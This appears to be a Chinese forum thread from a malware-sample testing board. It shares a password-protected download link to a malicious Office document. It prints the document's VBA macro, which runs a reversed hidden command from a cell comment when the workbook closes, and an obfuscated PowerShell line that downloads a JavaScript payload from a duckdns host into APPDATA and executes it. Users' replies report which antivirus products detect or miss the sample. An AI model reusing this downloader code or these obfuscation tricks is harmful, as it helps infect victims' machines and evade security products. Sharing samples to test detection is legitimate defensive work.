#Shellcode #Downloader #VT:3/55 #RTF

BE_HC

下载:https://www.lanzous.com/i9hla7e 密码:enj5

1. Private Sub Workbook_BeforeClose(Cancel As Boolean)
   
2. 'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
   
3. 'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
   
4. 
   
5. 
   
6. 
   
7. Worksheets(1).Activate
   
8. A = Range("C3").Comment.Text
   
9. CC0 (A)
   
10. 
    
11. End Sub
    
12. 
    
13. 
    
14. Function CC0(Str)
    
15. 
    
16. Set wsh = CreateObject("WScript.Shell")
    
17. wsh.Exec (StrReverse(Str))
    
18. End Function

复制代码

1. Powershell  $t= New-Object -Com Wscript.shell;$t.Run("""Powershell '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://officearchives.duckdns.org/og/hydro.js'',''$env:APPDATA''+''\Putin.js'')'|IEX; start-process('$env:APPDATA' +'\Putin.js')""",0)

复制代码

静影沉璧

ESET扫描miss

renyifei

趋势kill

扫描，过！

双击杀！
这次应该不是信誉杀！据我观察应该是启用宏，并打开EXCEL，然后趋势报毒！

a233

Avast Miss

心醉咖啡

毒霸扫描miss

QVM360

漏洞利用文档，会打开execl.exe且关闭后自动打开，execl带宏，被火绒反攻击规则拦截
PS：关闭重复打开的execl的方法：先结束word的进程（winword.exe）然后再结束execl进程（execl.exe）

renyifei

QVM360 发表于 2020-2-19 17:02
漏洞利用文档，会打开execl.exe且关闭后自动打开，execl带宏，被火绒反攻击规则拦截
PS：关闭重复打 ...

启用的是word的宏吧。我也不太清楚

QVM360

renyifei 发表于 2020-2-19 17:04
启用的是word的宏吧。我也不太清楚

是execl的宏，火绒反攻击规则显示的操作进程是execl.exe，要执行的是Powershell.exe

静影沉璧

智量
Exploit.Generic

www-tekeze

智量入库报Exploit，火绒Miss，双击不玩了。